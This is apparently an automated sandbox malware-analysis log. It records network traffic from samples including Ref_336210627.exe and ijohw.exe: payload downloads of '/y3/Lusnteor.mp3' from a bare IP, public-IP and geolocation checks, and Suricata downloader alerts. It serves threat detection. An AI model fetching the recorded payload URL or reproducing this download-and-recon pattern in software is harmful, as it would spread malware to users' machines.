Source: global traffic	HTTP traffic detected: GET /y3/Lusnteor.mp3 HTTP/1.1Host: 172.86.66.70Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /y3/Lusnteor.mp3 HTTP/1.1Host: 172.86.66.70Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	ASN Name: M247GB M247GB
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49744 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49736 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49739 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49756 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49759 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49774 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49771 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49776 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49758 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49775 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49773 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49781 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49779 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49764 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49751 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49757 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49772 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.66.70

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /y3/Lusnteor.mp3 HTTP/1.1Host: 172.86.66.70Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /y3/Lusnteor.mp3 HTTP/1.1Host: 172.86.66.70Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /y3/Lusnteor.mp3 HTTP/1.1Host: 172.86.66.70Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: Ref_336210627.exe, 00000000.00000002.1790161541.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002971000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.000000000323D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.86.66.70
Source: Ref_336210627.exe, 00000000.00000002.1790161541.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002971000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.0000000003231000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2113494065.0000000001459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.86.66.70/y3/Lusnteor.mp3
Source: InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.00000000029EB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002555000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003324000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000341B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.000000000340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: InstallUtil.exe, 00000001.00000002.1906440796.0000000002AA6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002AE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002931000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.00000000029EB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1906440796.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002611000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002555000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025F5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000261E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002598000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002549000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.00000000025E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002603000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.00000000033B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: InstallUtil.exe, 00000001.00000002.1906440796.0000000002931000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2125618809.0000000002491000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2212706413.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Ref_336210627.exe, ijohw.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
